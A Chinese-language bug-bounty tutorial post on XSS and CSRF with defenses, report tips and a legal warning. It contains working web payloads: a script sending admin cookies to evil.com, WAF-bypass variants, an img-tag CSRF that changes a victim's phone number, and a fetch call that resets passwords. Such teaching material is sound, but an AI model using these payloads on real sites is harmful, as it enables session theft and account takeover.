上期回顾 :我们扒光了目标的资产(情报收集)。本期开始,我们要对这些目标进行"物理超度"------哦不,是合法的安全测试 。今天的主角是 Web 漏洞界的"哼哈二将":XSS 和 CSRF。
一、为什么这俩货这么重要?
很多新手觉得 XSS 是"弹个框就没用了",那是你不会玩。
-
XSS(跨站脚本) :相当于你在别人家的墙上涂鸦(植入JS)。
-
CSRF(跨站请求伪造) :相当于你伪造了别人的**签名(Cookie)**去银行取钱。
在SRC里,一个存储型XSS进后台,往往意味着服务器权限(Getshell)的大门已开。
二、XSS:从"弹窗"到"接管后台"
1. 三种形态,各有千秋
| 类型 | 别名 | 危害等级 | 特点 |
|---|---|---|---|
| 反射型 | 非持久化 | 低/中 | 需要诱导管理员点击链接(钓鱼)。 |
| 存储型 | 持久化 | 高 | 插进数据库。每次访问页面自动触发,专杀后台管理员。 |
| DOM型 | 前端漏洞 | 中 | 不走服务器,前端JS处理不当导致。 |
2. 实战案例:后台管理员的"噩梦"
场景:某论坛发帖功能存在存储型XSS。
Payload(攻击载荷):
html
<script>
// 窃取管理员Cookie
var img = new Image();
img.src = "http://evil.com/log?" + document.cookie;
</script>
发生了什么?
-
你把这段代码发在帖子正文。
-
管理员在后台查看帖子列表。
-
管理员的 Cookie 瞬间发送到了你的服务器
evil.com。 -
你拿着管理员的 Cookie,用浏览器插件(如 EditThisCookie)替换自己的 Cookie。
-
结果:你不用密码,直接以管理员身份登录后台。🎉
3. 绕过WAF的"猥琐流"技巧
现在的防火墙(WAF)都很聪明,直接插 <script>会被拦截。我们需要变形:
-
大小写混淆 :
<ScRiPt>alert(1)</ScRiPt> -
闭合标签 :
"><svg onload=alert(1)> -
编码绕过 :
\u003cscript\u003e(Unicode编码) -
利用HTML5特性 :
<details open ontoggle=alert(1)>
SRC加分项 :如果你能绕过厂商的WAF(Web应用防火墙)实现XSS,厂商通常会给你更高的评分,因为这证明了他们的防御体系有缺陷。
三、CSRF:借刀杀人的艺术
1. 核心原理:浏览器的小秘密
浏览器会自动携带当前网站的 Cookie。
如果你的浏览器里保存了 bank.com的登录状态,你打开了一个恶意网站 evil.com,这个网站里有个表单是向 bank.com转账的,浏览器会傻乎乎地带着你的Cookie去执行转账。
2. 实战案例:改绑手机号
场景:某SRC站点修改绑定手机的接口如下:
https://example.com/user/changePhone?phone=13800138000&userId=1001
漏洞点:该接口没有验证"原手机号验证码",也没有 Token 验证。
攻击步骤:
-
你构造一个恶意页面
attack.html:html<body> <!-- 偷偷发起请求 --> <img src="https://example.com/user/changePhone?phone=你的手机号&userId=1001"> </body> -
诱骗受害者(或者自己切换账号测试)在登录状态下访问
attack.html。 -
结果:受害者的账号手机号被悄悄改成了你的手机号。你可以通过"找回密码"直接接管他的账号。
3. 防御与绕过
-
防御:Referer 校验、CSRF Token、验证码。
-
绕过:
-
Referer绕过 :如果后端只校验
contains("example.com"),你可以把文件名改成example.com.html放在你的服务器上。 -
Token绕过:如果Token生成算法可预测,或者Token未绑定Session。
-
四、XSS + CSRF = 王炸
单独的XSS或CSRF可能已经修好了,但如果组合起来呢?
案例 :某站有反射型XSS ,但没有CSRF Token。
你可以构造一个链接,用户一点击,不仅执行了XSS,还利用XSS发起了一个AJAX请求(CSRF),偷偷把用户的密码改了。
javascript
// XSS Payload 中包含 CSRF 攻击
fetch('/user/changePassword', {
method: 'POST',
body: 'newPwd=Hacked123',
credentials: 'include' // 携带Cookie
});
五、SRC报告撰写Tips
写报告时,别只说"这里有XSS"。
-
Bad :
<script>alert(1)</script>弹窗了。 -
Good :"由于未过滤特殊字符,导致存储型XSS,攻击者可通过此漏洞窃取管理员Session,进而控制后台服务器,造成数据泄露。"
六、互动与思考
| 漏洞类型 | 核心利用点 | 防御手段 |
|---|---|---|
| XSS | 前端JS执行 | 转义输出 (HtmlSpecialChars) |
| CSRF | 利用浏览器自动带Cookie | CSRF Token, SameSite Cookie |
💬 互动话题:
大家在挖洞时,有没有遇到过那种"明明弹窗了,但是厂商说不收"的情况?或者遇到过哪些奇葩的WAF拦截规则?欢迎吐槽!
⚠️ 法律红线警示
-
严禁在未授权情况下,对他人网站进行 XSS 挂马、篡改页面或窃取真实用户数据。
-
严禁利用 CSRF 漏洞对真实用户进行攻击或恶意操作(如改密码、转账)。
-
测试 XSS 时,建议使用
alert(document.domain)或console.log作为证明,不要窃取他人的 Cookie 进行登录。 -
所有实验请在本地靶场(如 DVWA , XSS Challenges)中进行。
技术无罪,人心有善恶。守住底线,做正义的白帽子。
下一期,我们将进入 SQL注入 的世界,揭秘如何"脱裤"(拖库)。准备好你的 SQLMap 了吗?😎